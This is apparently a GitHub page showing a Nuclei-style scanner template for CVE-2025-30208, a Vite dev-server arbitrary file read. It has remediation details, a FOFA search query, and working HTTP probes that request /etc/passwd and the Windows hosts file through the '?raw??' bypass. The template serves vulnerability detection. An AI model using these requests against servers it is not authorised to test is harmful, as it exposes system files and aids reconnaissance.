-
Notifications
You must be signed in to change notification settings - Fork 3.6k
Expand file tree
/
Copy pathCVE-2025-30208.yaml
More file actions
61 lines (54 loc) · 2.41 KB
/
Copy pathCVE-2025-30208.yaml
File metadata and controls
61 lines (54 loc) · 2.41 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
id: CVE-2025-30208
info:
name: Vite - Arbitrary File Read
author: v2htw,s4e-io
severity: medium
description: |
Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.
impact: |
Attackers can bypass file access restrictions by adding special query parameters to URLs, potentially reading arbitrary files when the Vite dev server is exposed to the network.
remediation: |
Upgrade to Vite version 6.2.3, 6.1.2, 6.0.12, 5.4.15, or 4.5.10 that properly validates query parameters.
reference:
- https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w
- https://nvd.nist.gov/vuln/detail/CVE-2025-30208
classification:
epss-score: 0.74998
epss-percentile: 0.99456
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2025-30208
cwe-id: CWE-284
metadata:
verified: true
max-request: 1
fofa-query: 'body="/@vite/client"'
tags: cve,cve2025,arbitrary-file-read,vite,CVE-2025-30208,vkev,vuln
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: body
words:
- "vite"
internal: true
- method: GET
path:
- "{{BaseURL}}/etc/passwd?raw"
- "{{BaseURL}}/etc/passwd?raw??"
- "{{BaseURL}}/C:/Windows/System32/drivers/etc/hosts?raw"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- "Copyright \\(c\\).*Microsoft Corp"
condition: or
- type: status
status:
- 200
# digest: 4a0a0047304502210080650c65a0d5176def9d9b1d54c4e210bcd0eb186a42a0af2fa29a8a8758f92d022076fcd743a8538d5b2f46bde5bb8dfd1133d36582dd1b5beb77a0713db8f07529:922c64590222798bb761d5b6d8e72950